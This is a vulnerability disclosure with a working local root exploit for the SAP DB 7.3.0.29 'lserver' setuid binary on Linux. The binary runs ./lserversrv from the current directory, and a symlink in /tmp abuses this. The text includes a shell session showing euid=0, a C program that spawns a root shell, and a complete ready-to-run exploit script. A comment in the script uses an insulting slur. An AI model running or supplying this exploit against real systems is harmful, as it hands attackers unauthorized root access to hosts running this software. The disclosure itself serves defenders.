During an evaluation of the SAP database for Linux KF located a security issue in one of their suid binaries. This issue is a symlink attack against a binary that makes an execve call to a file in your current directory. The details of this issue are outlined below.
Technical details:
This local attack upon SAP is based on sapdb-server-linux-32bit-i386-7_3_0_29.tgz it is currently unknown if this affects other SAP flavors.
[elguapo@rh8 pgm]$ pwd
/usr/sapdb/depend/pgm
[elguapo@rh8 pgm]$ ls -al lserver
-rwsrwxr-x 1 root sapdb 15673 Oct 22 10:42 lserver
Using ltrace we can see an attempt to run ./lserversrv via execve()
The problem with this execve call is that when looking for "./lserversrv" the lserver does not check for any symlinks. The abuser can very easily make his own lserversrv.
We are just going to make a directory in /tmp to use for scratch space [elguapo@rh8 pgm]$ cd /tmp
[elguapo@rh8 tmp]$ mkdir "snosoft+sapdb=root"
[elguapo@rh8 tmp]$ cd "snosoft+sapdb=root"
Next we make a symlink to the suid binary lserver [elguapo@rh8 snosoft+sapdb=root]$ ln -s /usr/sapdb/depend/pgm/lserver lserver
As we saw above lserver trys to do the following: execv("./lserversrv", 0xbffff994 <unfinished ...>
This is easy enough to take advantage of... [elguapo@rh8 snosoft+sapdb=root]$ cp /usr/bin/id lserversrv
As you can see we have the euid of root at this point in time... [elguapo@rh8 snosoft+sapdb=root]$ /tmp/snosoft+sapdb\=root/lserver
uid=500(elguapo) gid=500(elguapo) euid=0(root) groups=500(elguapo)
Finishing up the task is trivial from there... [elguapo@rh8 snosoft+sapdb=root]$ cat > root.c
main(){
setuid(0);
setgid(0);
system("/bin/sh");
}
[elguapo@rh8 snosoft+sapdb=root]$ cc -o root root.c
[elguapo@rh8 snosoft+sapdb=root]$ ./lserver
sh-2.05b# id
uid=0(root) gid=0(root) groups=500(elguapo)
Exploit:
# dotslash@snosoft.com
# sapdb-server-linux-32bit-i386-7_3_0_29.tgz exploit
# -rwsrwxr-x 1 root sapdb /usr/sapdb/depend/pgm/lserver
#
# This is an extremely lame script.
# If you can not do this by hand you are a retard.
#
# [elguapo@rh8 tmp]$ id
# uid=500(elguapo) gid=500(elguapo) groups=500(elguapo)
# [elguapo@rh8 tmp]$ ./lame.sh
# sh-2.05b# id
# uid=0(root) gid=0(root) groups=500(elguapo)
cd /tmp
mkdir "snosoft+sapdb=root"
cd "snosoft+sapdb=root"
ln -s /usr/sapdb/depend/pgm/lserver lserver
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > root.c
cc -o root root.c
cp root lserversrv
./lserver
